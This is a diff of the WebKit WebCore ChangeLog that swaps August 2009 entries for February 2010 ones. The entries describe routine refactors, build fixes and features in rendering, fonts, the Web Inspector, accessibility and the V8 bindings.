-        * rendering/RenderSVGImage.cpp:
-        * rendering/RenderSVGRoot.cpp:
-        Removed unneeded destructor.
+        Revert 54599 because it breaks a lot of tests on Windows Chrome
 
-        * rendering/RenderSVGHiddenContainer.h:
-        Removed unneeded virtual function overrides that did the same as
-        the default and base class.
+        * inspector/front-end/DOMAgent.js:
+        (WebInspector.DOMNode.prototype._insertChild):
+        * inspector/front-end/ElementsPanel.js:
+        (WebInspector.ElementsPanel.prototype.updateModifiedNodes):
+        * inspector/front-end/ElementsTreeOutline.js:
+        (WebInspector.ElementsTreeOutline.prototype.revealAndSelectNode):
+        (WebInspector.ElementsTreeElement):
+        (WebInspector.ElementsTreeElement.prototype._updateChildren.updateChildrenOfNode):
+        (WebInspector.ElementsTreeElement.prototype._updateChildren):
+        ():
+        * inspector/front-end/inspector.css:
 
-        * rendering/RenderSVGViewportContainer.cpp:
-        (WebCore::RenderSVGViewportContainer::paint): Updated to use m_viewport
-        directly instead of using a function call.
-        (WebCore::RenderSVGViewportContainer::applyViewportClip): Ditto.
-        (WebCore::RenderSVGViewportContainer::viewportTransform): Ditto.
-        (WebCore::RenderSVGViewportContainer::localToParentTransform): Ditto.
-        (WebCore::RenderSVGViewportContainer::pointIsInsideViewportClip): Ditto.
+2010-02-10  Adam Roben  <aroben@apple.com>
 
-        * rendering/RenderScrollbar.cpp:
-        (WebCore::pseudoForScrollbarPart): Changed switch statement to use cases for
-        all values instead of using a default case.
+        Fix bad paths in WebCore.vcproj
 
-        * rendering/RenderTreeAsText.cpp:
-        (WebCore::operator<<): Removed dependency on casting to types that don't
-        have any public members we need to get at. Instead, use function names to
-        identify the type rather than doing so much overloading. Changed to use
-        checked casts.
-        (WebCore::write): Ditto.
+        These were harmless in VS2005, but cause project conversion errors in
+        VS2010 RC.
 
-        * rendering/SVGRenderSupport.cpp:
-        (WebCore::renderSubtreeToImage): Changed to use a checked cast and also
-        added a comment about the fact that the code does not do sufficient type
-        checking before doing the cast.
+        Fixes <http://webkit.org/b/34801>.
 
-        * rendering/SVGRenderTreeAsText.cpp:
-        (WebCore::writeRenderSVGTextBox): Renamed this from operator<<.
-        (WebCore::writeSVGInlineTextBoxes): Renamed this from writeSVGInlineText.
-        (WebCore::writeSVGText): Renamed this from write.
-        (WebCore::writeSVGInlineText): Ditto.
-        (WebCore::writeSVGImage): Ditto.
-        * rendering/SVGRenderTreeAsText.h: Updated for name changes. Removed
-        unneeded default arguments.
+        Reviewed by Dan Bernstein.
 
-2009-08-05  Peter Kasting  <pkasting@google.com>
+        * WebCore.vcproj/WebCore.vcproj: Removed leading "." from paths to
+        JSHTMLFrameSetElement.{cpp,h}.
 
-        Reviewed by Sam Weinig.
+2010-02-10  Julien Chaffraix  <jchaffraix@webkit.org>
 
-        https://bugs.webkit.org/show_bug.cgi?id=27851
-        Fix a pair of compiler warnings on the GTK Linux buildbot.
+        Not reviewed (build fix).
 
-        * platform/image-decoders/bmp/BMPImageDecoder.cpp:
-        (WebCore::BMPImageDecoder::processFileHeader): Don't use multi-character constants, they're not portable.
-        * platform/image-decoders/ico/ICOImageDecoder.cpp:
-        (WebCore::ICOImageDecoder::setSize): Simpler code that also doesn't compare signed with unsigned.
+        * platform/graphics/win/FontCacheWin.cpp:
+        (WebCore::FontCache::getLastResortFallbackFont): Return a
+        SimpleFontData here.
 
-2009-08-05  Peter Kasting  <pkasting@google.com>
+2010-02-10 Julien Chaffraix  <jchaffraix@pleyo.com>
 
         Reviewed by Eric Seidel.
 
-        https://bugs.webkit.org/show_bug.cgi?id=26460
-        Return multiple icon entries from the ICO decoder as separate frames,
-        sorted by decreasing quality (much like the CG ICO decoder does).
+        Bug 23287 -  Avoid using FontPlatformData outside the FontCache
 
-        As a result of this change, we can eliminate the Skia-specific setData()
-        hack that the Chromium port used to select the desired icon size -- now
-        callers can just enumerate the frames and ask for the data from the one
-        they like.
-        
-        Under the hood, the ICO decoder now keeps vectors for a number of things
-        (including directory entries and image decoders) where it used to have
-        single members.  However, callers (that I have seen) will only request
-        one frame from the icon, so practically there aren't going to be lots of
-        instantiated image decoders.
-
-        * platform/graphics/ImageSource.h: Move |m_decoder| back to private now that Skia no longer needs to access it.
-        * platform/graphics/cairo/ImageSourceCairo.cpp:
-        (WebCore::createDecoder): Remove size argument from ICO decoder instantiation.
-        * platform/graphics/skia/ImageSourceSkia.cpp:
-        (WebCore::createDecoder): Remove size argument from ICO decoder instantiation.
-        (WebCore::ImageSource::setData): Remove function to ask for a particular icon size.
-        * platform/graphics/skia/ImageSourceSkia.h: Removed.
-        * platform/graphics/wx/ImageSourceWx.cpp:
-        (WebCore::createDecoder): Remove size argument from ICO decoder instantiation.
-        * platform/image-decoders/ico/ICOImageDecoder.cpp:
-        (WebCore::ICOImageDecoder::ICOImageDecoder):
-        (WebCore::ICOImageDecoder::~ICOImageDecoder): Delete all instantiated per-frame decoders.
-        (WebCore::ICOImageDecoder::setData): Send data to all instantiated per-frame decoders.
-        (WebCore::ICOImageDecoder::isSizeAvailable): Use size from icon directory instead of PNG decoder (if applicable) so we can report it without decoding the PNG frames.
-        (WebCore::ICOImageDecoder::size): Report frame-specific size if BMP decoder is calling.  Otherwise, use size from icon directory instead of PNG decoder (if applicable).
-        (WebCore::ICOImageDecoder::frameSizeAtIndex): Implement.
-        (WebCore::ICOImageDecoder::setSize): Sanity check value if BMP decoder is calling.
-        (WebCore::ICOImageDecoder::frameCount): Implement.
-        (WebCore::ICOImageDecoder::frameBufferAtIndex): Sanity check size for PNG frames.
-        (WebCore::ICOImageDecoder::compareEntries): Add utility function for sorting entries.
-        (WebCore::ICOImageDecoder::setDataForPNGDecoderAtIndex): Factor out utility function for passing correct data blob to a PNG decoder.
-        (WebCore::ICOImageDecoder::decodeWithCheckForDataEnded): Split decode() into two pieces.
-        (WebCore::ICOImageDecoder::decodeDirectory): The first part of the old decode().
-        (WebCore::ICOImageDecoder::decodeAtIndex): The second part of the old decode(), split off so we avoid decoding an entry until it's requested.
-        (WebCore::ICOImageDecoder::processDirectory): Add resizing of internal data structures based on directory contents.
-        (WebCore::ICOImageDecoder::processDirectoryEntries): Sort entries by quality.
-        (WebCore::ICOImageDecoder::imageTypeAtIndex): Return type to caller instead of setting a member.
-        * platform/image-decoders/ico/ICOImageDecoder.h:
-
-2009-08-05  Szabo Carol  <carol.szabo@nokia.com>
+        No functional change, only refactored the code using FontPlatformData to use SimpleFontData.
 
-        Reviewed by Darin Adler.
+        This change leaves the class FontCached as it needs some thoughts and more refactoring.
 
-        https://bugs.webkit.org/show_bug.cgi?id=27942
-
-        Test: fast/forms/select-reset-multiple-selections-4-single-selection.html
-
-        * dom/SelectElement.cpp:
-        (WebCore::SelectElement::reset):
-           Added HTML 4.01 compliant handling of broken webpages that
-           specify more than one selected option for single selection SELECT
-           element, in a manner that emulates Firefox and is similar to IE 7
+        * css/CSSFontFaceSource.cpp:
+        (WebCore::CSSFontFaceSource::getFontData): Call getCachedFontData with the 2 parameters directly.
+        * css/CSSFontSelector.cpp:
+        (WebCore::fontDataForGenericFamily): Ditto.
+        * platform/graphics/FontCache.cpp:
+        (WebCore::FontCache::getCachedFontData): This method is meant to replace getCachedFontPlatformData
+        that was moved in the private section of the class. It calls getCachedFontPlatformData and cache
+        the returned FontPlatformData if it is not null.
+        (WebCore::FontCache::getFontData): Updated to use the new getCachedFontData.
+        * platform/graphics/FontCache.h: Updated several methods to return a SimpleFontData in lieu of a
+        FontPlatformData. Moved some method in the private sections.
 
+        * platform/graphics/chromium/FontCacheChromiumWin.cpp:
+        (WebCore::FontCache::getSimilarFontPlatformData):
+        (WebCore::FontCache::getLastResortFallbackFont):
+        * platform/graphics/chromium/FontCacheLinux.cpp:
+        (WebCore::FontCache::getSimilarFontPlatformData):
+        (WebCore::FontCache::getLastResortFallbackFont):
+        * platform/graphics/gtk/FontCacheGtk.cpp:
+        (WebCore::FontCache::getSimilarFontPlatformData):
+        (WebCore::FontCache::getLastResortFallbackFont):
+        * platform/graphics/haiku/FontCacheHaiku.cpp:
+        (WebCore::FontCache::getSimilarFontPlatformData):
+        (WebCore::FontCache::getLastResortFallbackFont):
+        * platform/graphics/qt/FontCacheQt.cpp:
+        (WebCore::FontCache::getLastResortFallbackFont):
+        * platform/graphics/win/FontCacheWin.cpp:
+        (WebCore::FontCache::getSimilarFontPlatformData):
+        (WebCore::FontCache::getLastResortFallbackFont):
+        * platform/graphics/wince/FontCacheWince.cpp:
+        * platform/graphics/wx/FontCacheWx.cpp:
+        (WebCore::FontCache::getSimilarFontPlatformData):
+        (WebCore::FontCache::getLastResortFallbackFont):
+        Updated all the previous platform methods to return a SimpleFontData.
 
-2009-08-05  Andras Becsi  <becsi.andras@stud.u-szeged.hu>
+        * platform/graphics/mac/FontCacheMac.mm:
+        (WebCore::FontCache::getSimilarFontPlatformData): Updated to return a SimpleFontData.
+        (WebCore::FontCache::getLastResortFallbackFont): Ditto. Also refactored the code
+        and moved a DEFINE_STATIC_LOCAL where it is needed.
 
-        Reviewed by Simon Hausmann.
+2010-02-10  Alexander Pavlov  <apavlov@chromium.org>
 
-        WebCore.pro bugfix
+        Reviewed by Pavel Feldman.
 
-        Fix the gperf lines to properly include the string.h header at compilation with gperf version 3.0.3 and newer.
+        Web Inspector: Elements Panel: Limit the number of initially loaded element children
+        https://bugs.webkit.org/show_bug.cgi?id=34421
 
-        * WebCore.pro:
+        Test: inspector/elements-panel-limited-children.html
 
-2009-08-05  Chris Fleizach  <cfleizach@apple.com>
+        * English.lproj/localizedStrings.js:
+        * inspector/front-end/DOMAgent.js:
+        (WebInspector.DOMNode.prototype._insertChild):
+        * inspector/front-end/ElementsPanel.js:
+        (WebInspector.ElementsPanel.prototype.updateModifiedNodes):
+        * inspector/front-end/ElementsTreeOutline.js:
+        (WebInspector.ElementsTreeOutline.prototype.createTreeElementFor):
+        (WebInspector.ElementsTreeOutline.prototype.revealAndSelectNode):
+        (WebInspector.ElementsTreeElement):
+        (WebInspector.ElementsTreeElement.prototype.get expandedChildrenLimit):
+        (WebInspector.ElementsTreeElement.prototype.set expandedChildrenLimit):
+        (WebInspector.ElementsTreeElement.prototype.get expandedChildCount):
+        (WebInspector.ElementsTreeElement.prototype.showChild):
+        (WebInspector.ElementsTreeElement.prototype.insertChildElement):
+        (WebInspector.ElementsTreeElement.prototype.moveChild):
+        (WebInspector.ElementsTreeElement.prototype._updateChildren.updateChildrenOfNode):
+        (WebInspector.ElementsTreeElement.prototype._updateChildren):
+        (WebInspector.ElementsTreeElement.prototype.adjustCollapsedRange):
+        (WebInspector.ElementsTreeElement.prototype.handleLoadAllChildren):
+        ():
+        * inspector/front-end/inspector.css:
 
-        Fix Tiger build breakage.
+2010-02-10  Mikhail Naganov  <mnaganov@chromium.org>
 
-        * accessibility/mac/AccessibilityObjectWrapper.mm:
+        Reviewed by Pavel Feldman.
 
-2009-08-04  Simon Hausmann  <hausmann@webkit.org>
+        Remove several #if USE(JSC) branches. Introduce ScriptDebugServer class for
+        making JavaScriptDebugServer engine-agnostic.
 
-        Prospective build fix for Qt build bot: Fix dependency of HTMLNames.cpp
-        to both source files, HTMLTagNames.in and HTMLAttributeNames.in
+        https://bugs.webkit.org/show_bug.cgi?id=34795
 
+        * GNUmakefile.am:
+        * WebCore.gypi:
         * WebCore.pro:
-
-2009-08-04  Brian Weinstein  <bweinstein@apple.com>
-
-        Reviewed by Adele Peterson.
-
-        Keypress should exit from pan scrolling mode.
-        https://bugs.webkit.org/show_bug.cgi?id=28005
-
-        Change the logic from only exiting pan scrolling on escape to exiting on any key press,
-        making it easier for users to back out of an accidental pan scroll.
-
-        * page/EventHandler.cpp:
-        (WebCore::EventHandler::keyEvent):
-        
-2009-08-04  Eric Seidel  <eric@webkit.org>
-
-        Reviewed by Simon Fraser.
-
-        REGRESSION (r45064): Drop caret remains in text control after the mouse exits
-        https://bugs.webkit.org/show_bug.cgi?id=26787
-
-        Add back missing dragController()->clear() call.
-
-        * manual-tests/drag-caret.html: Added.
-        * page/DragController.cpp:
-        (WebCore::DragController::tryDocumentDrag):
-
-2009-08-04  Chris Fleizach  <cfleizach@apple.com>
-
-        Bug 27994 - WAI-ARIA: aria-valuetext needs to be implemented
-        https://bugs.webkit.org/show_bug.cgi?id=27994
-
-        Forgot to commit attribute names.
-
-        * html/HTMLAttributeNames.in:
-
-2009-08-04  Chris Fleizach  <cfleizach@apple.com>
-
-        Reviewed by Darin Adler.
-
-        Bug 27994 - WAI-ARIA: aria-valuetext needs to be implemented
-        https://bugs.webkit.org/show_bug.cgi?id=27994
-
-        Test: platform/mac/accessibility/aria-valuetext.html
-
-        * accessibility/AccessibilityObject.h:
-        (WebCore::AccessibilityObject::valueDescription):
-        * accessibility/AccessibilityRenderObject.cpp:
-        (WebCore::AccessibilityRenderObject::valueDescription):
-        * accessibility/AccessibilityRenderObject.h:
-        * accessibility/mac/AccessibilityObjectWrapper.mm:
-        (-[AccessibilityObjectWrapper accessibilityAttributeValue:]):
-        * html/HTMLAttributeNames.in:
-
-2009-08-04  Michael Nordman  <michaeln@google.com>
-
-        Reviewed by Alexey Proskuryakov.
-
-        https://bugs.webkit.org/show_bug.cgi?id=27821
-
-        No new features, no new tests. Existing layout tests pass.
-
-        * WebCore.base.exp:
-
-        Export AppliationCacheGroup::storeCopyOfCache
-
         * WebCore.xcodeproj/project.pbxproj:
+        * bindings/js/JSBindingsAllInOne.cpp:
+        * bindings/js/ScriptDebugServer.cpp: Added.
+        (WebCore::ScriptDebugServer::recompileAllJSFunctions):
+        (WebCore::ScriptDebugServer::recompileAllJSFunctionsSoon):
+        * bindings/js/ScriptDebugServer.h: Added.
+        * bindings/v8/ScriptDebugServer.cpp: Added.
+        (WebCore::ScriptDebugServer::recompileAllJSFunctions):
+        (WebCore::ScriptDebugServer::recompileAllJSFunctionsSoon):
+        * bindings/v8/ScriptDebugServer.h: Added.
+        * inspector/InspectorController.cpp:
+        (WebCore::InspectorController::startUserInitiatedProfiling):
+        (WebCore::InspectorController::enableProfiler):
+        (WebCore::InspectorController::disableProfiler):
+        * page/Console.cpp:
+        (WebCore::Console::profile):
+        (WebCore::Console::profileEnd):
 
-        Restore DOMApplicationCache.h and ApplicationCacheHost.h to 'project' headers
-        instead of 'private' headers since they're no longer in the DocumentLoader.h
-        include graph.
-
-        * html/HTMLHtmlElement.cpp:
-        (WebCore::HTMLHtmlElement::insertedIntoDocument):
-
-        Reinstate the test for manifest.isNull instead of .isEmtpty().
-        Added a FIXME to revisit once the spec gets clarified.
-        
-        * loader/DocumentLoader.cpp:
-        (WebCore::DocumentLoader::DocumentLoader):
-        (WebCore::DocumentLoader::mainReceivedError):
-        (WebCore::DocumentLoader::detachFromFrame):
-        * loader/DocumentLoader.h:
-        (WebCore::DocumentLoader::applicationCacheHost):
-
-        ApplicationCacheHost is held in an OwnPtr<> by DocumentLoader. This was done
-        for compile time friendliness, it results in a smaller include graph for files
-        dependent on DocumentLoader.h.
-
-        * loader/FrameLoader.cpp:
-        * loader/MainResourceLoader.cpp:
-        * loader/ResourceLoader.cpp:
-
-        Cleanup ussage of ENABLE(xxx) around includes, generally remove those guards.
-        This was done for readability at the include site. The included files contain appropriate guards,
-        so they're not needed at the include site.
-
-        * loader/appcache/ApplicationCacheGroup.cpp:
-        (WebCore::ApplicationCacheGroup::selectCache):
-        (WebCore::ApplicationCacheGroup::finishedLoadingMainResource):
-        (WebCore::ApplicationCacheGroup::failedLoadingMainResource):
-        (WebCore::ApplicationCacheGroup::update):
-        (WebCore::ApplicationCacheGroup::didFinishLoadingManifest):
-        (WebCore::ApplicationCacheGroup::manifestNotFound):
-        (WebCore::ApplicationCacheGroup::checkIfLoadIsComplete):
-        (WebCore::ApplicationCacheGroup::startLoadingEntry):
-        (WebCore::CallCacheListenerTask::create):
-        (WebCore::CallCacheListenerTask::performTask):
-        (WebCore::CallCacheListenerTask::CallCacheListenerTask):
-        (WebCore::ApplicationCacheGroup::postListenerTask):
-        * loader/appcache/ApplicationCacheGroup.h:
-
-        Use ApplicationCachHost defined constants, no longer depends on DOMApplicationCache.
-
-        * loader/appcache/ApplicationCacheHost.cpp:
-        (WebCore::ApplicationCacheHost::ApplicationCacheHost):
-        (WebCore::ApplicationCacheHost::setDOMApplicationCache):
-        (WebCore::ApplicationCacheHost::notifyEventListener):
-        (WebCore::ApplicationCacheHost::status):
-        * loader/appcache/ApplicationCacheHost.h:
-        (WebCore::ApplicationCacheHost::):
-        * loader/appcache/ApplicationCacheStorage.cpp:
-        (WebCore::ApplicationCacheStorage::storeCopyOfCache):
-        * loader/appcache/ApplicationCacheStorage.h:
-
-        Merge recently added transferApplicationCache and pre-existing storeCopyOfCache methods.
-
-        * loader/appcache/DOMApplicationCache.cpp:
-        (WebCore::DOMApplicationCache::status):
-        (WebCore::DOMApplicationCache::addEventListener):
-        (WebCore::DOMApplicationCache::removeEventListener):
-        (WebCore::DOMApplicationCache::callListener):
-        (WebCore::DOMApplicationCache::toEventType):
-        (WebCore::DOMApplicationCache::toEventID):
-        * loader/appcache/DOMApplicationCache.h:
-        (WebCore::DOMApplicationCache::setAttributeEventListener):
-        (WebCore::DOMApplicationCache::getAttributeEventListener):
-        (WebCore::DOMApplicationCache::clearAttributeEventListener):
-        (WebCore::DOMApplicationCache::callEventListener):
-        (WebCore::DOMApplicationCache::setOnchecking):
-        (WebCore::DOMApplicationCache::onchecking):
-        (WebCore::DOMApplicationCache::setOnerror):
-        (WebCore::DOMApplicationCache::onerror):
-        (WebCore::DOMApplicationCache::setOnnoupdate):
-        (WebCore::DOMApplicationCache::onnoupdate):
-        (WebCore::DOMApplicationCache::setOndownloading):
-        (WebCore::DOMApplicationCache::ondownloading):
-        (WebCore::DOMApplicationCache::setOnprogress):
-        (WebCore::DOMApplicationCache::onprogress):
-        (WebCore::DOMApplicationCache::setOnupdateready):
-        (WebCore::DOMApplicationCache::onupdateready):
-        (WebCore::DOMApplicationCache::setOncached):
-        (WebCore::DOMApplicationCache::oncached):
-        (WebCore::DOMApplicationCache::setOnobsolete):
-        (WebCore::DOMApplicationCache::onobsolete):
-
-        Use ApplicationCachHost defined constants for Status and EventIDs.
-
-2009-08-04  Nate Chapin  <japhet@chromium.org>
-
-        Reviewed by Dimitri Glazkov.
-
-        Revert r46421 and r46769, which appear to have totally hosed the v8 bindings.
-
-        https://bugs.webkit.org/show_bug.cgi?id=27719
-
-        * bindings/v8/V8AbstractEventListener.cpp: Revert r46421.
-        (WebCore::V8AbstractEventListener::invokeEventHandler):
-        * bindings/v8/custom/V8DOMWindowCustom.cpp: Revert r46769.
-        (WebCore::ACCESSOR_GETTER):
-
-2009-08-04  Chris Fleizach  <cfleizach@apple.com>
-
-        Reviewed by Darin Adler.
-
-        Bug 27993 - AXSliders are missing required attributes and actions
-        https://bugs.webkit.org/show_bug.cgi?id=27993
-
-        Expose appropriate actions and attributes for sliders.
-
-        Test: platform/mac/accessibility/slider-supports-actions.html
-
-        * accessibility/AccessibilityObject.cpp:
-        (WebCore::AccessibilityObject::orientation):
-        * accessibility/AccessibilityObject.h:
-        (WebCore::):
-        * accessibility/AccessibilitySlider.cpp:
-        (WebCore::AccessibilitySlider::orientation):
-        * accessibility/AccessibilitySlider.h:
-        * accessibility/mac/AccessibilityObjectWrapper.mm:
-        (-[AccessibilityObjectWrapper accessibilityActionNames]):
-        (-[AccessibilityObjectWrapper accessibilityAttributeNames]):
-        (-[AccessibilityObjectWrapper accessibilityAttributeValue:]):
-
-2009-08-04  Jian Li  <jianli@chromium.org>
-
-        Reviewed by David Levin.
-
-        [V8] Fix an assert in WebCoreStringResource that causes worker script
-        evaluation failed.
-        https://bugs.webkit.org/show_bug.cgi?id=27996
-
-        The fix is to check for the same thread, instead of the main thread.
-        This is because Chromium's workers use v8 in a single thread that is
-        not the main thread.
-
-        * bindings/v8/V8Binding.cpp:
-        (WebCore::WebCoreStringResource::WebCoreStringResource):
-        (WebCore::WebCoreStringResource::~WebCoreStringResource):
-        (WebCore::WebCoreStringResource::atomicString):
-
-2009-08-04  Simon Fraser  <simon.fraser@apple.com>
-
-        Reviewed by Dave Hyatt.
-
-        Add support for transitions/animations of text-indent.
-
-        Test: transitions/text-indent-transition.html
-
-        * page/animation/AnimationBase.cpp:
-        (WebCore::ensurePropertyMap):
-
-2009-08-04  Simon Fraser  <simon.fraser@apple.com>
-
-        Reviewed by Dave Hyatt.
-
-        Add support for transitions of min- and max-width, and min- and max-height.
-        https://bugs.webkit.org/show_bug.cgi?id=27990
-
-        Test: transitions/min-max-width-height-transitions.html
-
-        * page/animation/AnimationBase.cpp:
-        (WebCore::ensurePropertyMap):
-
-2009-08-04  Chris Fleizach  <cfleizach@apple.com>
-
-        Reviewed by Darin Adler.
-
-        Bug 27964 - WAI-ARIA: radio button does not determine its label from text content
-        https://bugs.webkit.org/show_bug.cgi?id=27964
-
-        ARIA radio buttons also need to use the text inside of them, like buttons and other roles.
-        Also fixed an issue where an extra space was being appended to some ARIA labels.
-
-        Test: platform/mac/accessibility/aria-radiobutton-text.html
-
-        * accessibility/AccessibilityObject.h:
-        (WebCore::AccessibilityObject::ariaAccessibilityName):
-        * accessibility/AccessibilityRenderObject.cpp:
-        (WebCore::AccessibilityRenderObject::ariaAccessibilityName):
-        (WebCore::AccessibilityRenderObject::ariaLabeledByAttribute):
-        (WebCore::AccessibilityRenderObject::title):
-        (WebCore::AccessibilityRenderObject::ariaDescribedByAttribute):
-        * accessibility/AccessibilityRenderObject.h:
-
-2009-08-04  Nate Chapin  <japhet@chromium.org>
-
-        Reviewed by Dimitri Glazkov.
-
-        Missed a place that expects window.event to be hidden when it shouldn't be.
-
-        https://bugs.webkit.org/show_bug.cgi?id=27719
-
-        * bindings/v8/custom/V8DOMWindowCustom.cpp:
-        (WebCore::ACCESSOR_GETTER): window.event is no longer hidden.
-
-2009-08-03  Chris Fleizach  <cfleizach@apple.com>
-
-        Reviewed by Jon Honeycutt.
-
-        Bug 27958 - WAI-ARIA: Implement 'aria-required' attribute.
-        https://bugs.webkit.org/show_bug.cgi?id=27958
-
-        Test: platform/mac/accessibility/aria-required.html
-
-        * accessibility/AccessibilityObject.h:
-        (WebCore::AccessibilityObject::isRequired):
-        * accessibility/AccessibilityRenderObject.cpp:
-        (WebCore::AccessibilityRenderObject::isRequired):
-        * accessibility/AccessibilityRenderObject.h:
-        * accessibility/mac/AccessibilityObjectWrapper.mm:
-        (-[AccessibilityObjectWrapper accessibilityAttributeNames]):
-        (-[AccessibilityObjectWrapper accessibilityAttributeValue:]):
-        * html/HTMLAttributeNames.in:
-
-2009-08-04  Jakub Wieczorek  <faw217@gmail.com>
+2009-10-06  Yongjun Zhang  <yongjun.zhang@nokia.com>
 
         Reviewed by Simon Hausmann.
 
-        Add QWebPluginDatabase API to the Qt API.
-        
-        https://bugs.webkit.org/show_bug.cgi?id=27651
-
-        * WebCore.pro:
+        Make JObjectWrapper::ref() and deref() public accessible to derefIfNull().
 
-2009-08-04  Ariya Hidayat  <ariya.hidayat@nokia.com>
+        Will be reverted when the following winscw compiler bug is fixed.
+        https://xdabug001.ext.nokia.com/bugzilla/show_bug.cgi?id=9812
 
-        Reviewed by Adam Treat.
+        https://bugs.webkit.org/show_bug.cgi?id=28054
 
-        [Qt] PlusDarker is not supported. Fall back to CompositionMode_Darken
-        (as it is the closest match) instead of CompositionMode_SourceOver.
+        * bridge/jni/jsc/JavaInstanceJSC.h:
+        * bridge/jni/v8/JavaInstanceV8.h:
 
-        * platform/graphics/qt/GraphicsContextQt.cpp:
-        (WebCore::toQtCompositionMode):
-
-2009-08-04  Christian Plesner Hansen  <christian.plesner.hansen@gmail.com>
+2010-02-10  Yaar Schnitman  <yaar@chromium.org>
 
         Reviewed by Adam Barth.
 
-        [v8] Fix crash when converting empty v8 string to atomic webkit string.
-        https://bugs.webkit.org/show_bug.cgi?id=27975
-
-        collection-null-like-arguments.html tests for this.
-
-        * bindings/v8/V8Binding.cpp:
-        (WebCore::v8StringToAtomicWebCoreString):
-
-2009-08-04  Ryosuke Niwa  <rniwa@webkit.org>
-
-        Reviewed by Eric Seidel.
-
-        selectionHasStyle needs clean up to fix Bug 27858
-        https://bugs.webkit.org/show_bug.cgi?id=27865
-
-        This patch cleans up selectionStartHasStyle and selectionHasStyle.
-        No test is added because the patch does not change any behavior.
-
-        * editing/ApplyStyleCommand.cpp:
-        (WebCore::getPropertiesNotInComputedStyle): Used in triStateOfStyleInComputedStyle but will be used here as well
-        * editing/ApplyStyleCommand.h: Added the prototype of getPropertiesNotInComputedStyle
-        * editing/Editor.cpp:
-        (WebCore::triStateOfStyleInComputedStyle): Determines if the specified style is present in the specified computed style.
-        (WebCore::Editor::selectionStartHasStyle): Uses triStateOfStyleInComputedStyle
-        (WebCore::Editor::selectionHasStyle): Uses triStateOfStyleInComputedStyle instead of updateState
-
-2009-08-03  John Abd-El-Malek  <jam@chromium.org>
-
-        Reviewed by David Levin.
-
-        Fix MessagePort construction in worker process.  Also make the other object constructions match this.
-
-        https://bugs.webkit.org/show_bug.cgi?id=27906
-
-        * bindings/v8/V8DOMWrapper.cpp:
-        (WebCore::V8DOMWrapper::convertToV8Object):
-        * bindings/v8/V8Proxy.cpp:
-        (WebCore::V8Proxy::setDOMException):
-        * bindings/v8/WorkerContextExecutionProxy.cpp:
-        (WebCore::WorkerContextExecutionProxy::ToV8Object):
-
-2009-08-03  Christian Plesner Hansen  <christian.plesner.hansen@gmail.com>
-
-        Reviewed by David Levin.
-
-        [V8] Cache atomic strings in externalized v8 strings
-        https://bugs.webkit.org/show_bug.cgi?id=27762
+        Simplified RuntimeEnabledFeatures and corresponding v8 generated code
+        https://bugs.webkit.org/show_bug.cgi?id=34667
 
+        * WebCore.gypi:
+        * bindings/generic/RuntimeEnabledFeatures.cpp: Added.
+        (WebCore::RuntimeEnabledFeatures::audioEnabled):
+        (WebCore::RuntimeEnabledFeatures::htmlMediaElementEnabled):
+        (WebCore::RuntimeEnabledFeatures::htmlAudioElementEnabled):
+        (WebCore::RuntimeEnabledFeatures::htmlVideoElementEnabled):
+        (WebCore::RuntimeEnabledFeatures::mediaErrorEnabled):
+        (WebCore::RuntimeEnabledFeatures::sharedWorkerEnabled):
+        (WebCore::RuntimeEnabledFeatures::webSocketEnabled):
+        (WebCore::RuntimeEnabledFeatures::openDatabaseEnabled):
+        * bindings/generic/RuntimeEnabledFeatures.h: Added.
+        (WebCore::RuntimeEnabledFeatures::setLocalStorageEnabled):
+        (WebCore::RuntimeEnabledFeatures::localStorageEnabled):
+        (WebCore::RuntimeEnabledFeatures::setSessionStorageEnabled):
+        (WebCore::RuntimeEnabledFeatures::sessionStorageEnabled):
+        (WebCore::RuntimeEnabledFeatures::setWebkitNotificationsEnabled):
+        (WebCore::RuntimeEnabledFeatures::webkitNotificationsEnabled):
+        (WebCore::RuntimeEnabledFeatures::setApplicationCacheEnabled):
+        (WebCore::RuntimeEnabledFeatures::applicationCacheEnabled):
+        (WebCore::RuntimeEnabledFeatures::setGeolocationEnabled):
+        (WebCore::RuntimeEnabledFeatures::geolocationEnabled):
+        (WebCore::RuntimeEnabledFeatures::setIndexedDBEnabled):
+        (WebCore::RuntimeEnabledFeatures::indexedDBEnabled):
+        (WebCore::RuntimeEnabledFeatures::RuntimeEnabledFeatures):
+        * bindings/scripts/CodeGenerator.pm:
         * bindings/scripts/CodeGeneratorV8.pm:
-        * bindings/v8/V8Binding.cpp:
-        (WebCore::WebCoreStringResource::WebCoreStringResource):
-        (WebCore::WebCoreStringResource::~WebCoreStringResource):
-        (WebCore::WebCoreStringResource::data):
-        (WebCore::WebCoreStringResource::length):
-        (WebCore::WebCoreStringResource::webcoreString):
-        (WebCore::WebCoreStringResource::atomicString):
-        (WebCore::WebCoreStringResource::toStringResource):
-        (WebCore::v8StringToWebCoreString):
-        (WebCore::v8StringToAtomicWebCoreString):
-        (WebCore::v8ValueToWebCoreString):
-        (WebCore::v8ValueToAtomicWebCoreString):
-        * bindings/v8/V8Binding.h:
-        (WebCore::):
-        * dom/Document.idl:
-
-2009-08-03  Joseph Pecoraro  <joepeck02@gmail.com>
-
-        Reviewed by Timothy Hatcher.
-
-        Inspector: DOM Storage Live Updating Should Not Affect Tabbing
-        https://bugs.webkit.org/show_bug.cgi?id=27957
-
-        * inspector/front-end/DOMStorageDataGrid.js:
-        (WebInspector.DOMStorageDataGrid.prototype._startEditingColumnOfDataGridNode): disable storage event listener
-        (WebInspector.DOMStorageDataGrid.prototype._startEditing): disable storage event listener
-        (WebInspector.DOMStorageDataGrid.prototype._editingCancelled): enable storage event listener
-        * inspector/front-end/DatabasesPanel.js:
-        (WebInspector.DatabasesPanel.prototype._unregisterStorageEventListener): quick return if no listener
-
-2009-08-03  Laszlo Gombos  <laszlo.1.gombos@nokia.com>
-
-        Reviewed by Eric Seidel.
-
-        [Qt] Consolidate common gcc flags to WebKit.pri
-        https://bugs.webkit.org/show_bug.cgi?id=27934
-
-        * WebCore.pro:
-
-2009-08-03  Jeremy Orlow  <jorlow@chromium.org>
-
-        Reviewed by Darin Fisher.
-
-        Chromium code sometimes isn't sandboxed and needs to access the FS.
-        https://bugs.webkit.org/show_bug.cgi?id=27954
-
-        These changes are the WebKit side of http://codereview.chromium.org/159778 which
-        aims to make LocalStorage persistent.
-
-        This change runs all FileSystem routines through the ChromiumBridge so that
-        WebKitClients can handle them if they choose to.  For now, the only such client
-        will be the one running in the browser process.
-
-        It also adds a method called sandboxEnabled to the Chromium bridge so that the
-        SQLite file system code can shift its behavior depending on whether we're
-        inside a sandbox or not.
-
-        * platform/chromium/ChromiumBridge.h:
-        * platform/chromium/FileSystemChromium.cpp:
-        (WebCore::deleteFile):
